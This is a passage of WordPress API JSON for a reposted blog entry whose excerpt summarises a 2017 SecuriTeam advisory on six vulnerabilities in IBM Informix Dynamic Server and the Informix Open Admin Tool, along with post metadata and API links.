>https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/pf-button.gif\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Tue, 23 May 2017 06:41:53 +0000<\/strong><\/p>\n<p>Vulnerabilities Summary The following advisory describes six (6) vulnerabilities found in Informix Dynamic Server and Informix Open Admin Tool. IBM Informix Dynamic Server Exceptional, low maintenance online transaction processing (OLTP) data server for enterprise and workgroup computing. IBM Informix Dynamic Server has many features that cater to a variety of user groups, including developers and &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3210\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 IBM Informix Dynamic Server and Informix Open Admin Tool Multiple Vulnerabilities<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[12357,11682,10757],"class_list":["post-7746","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-heap-overflow","tag-remote-code-execution","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7746","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=7746"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7746\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=7746"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=7746"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=7746"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}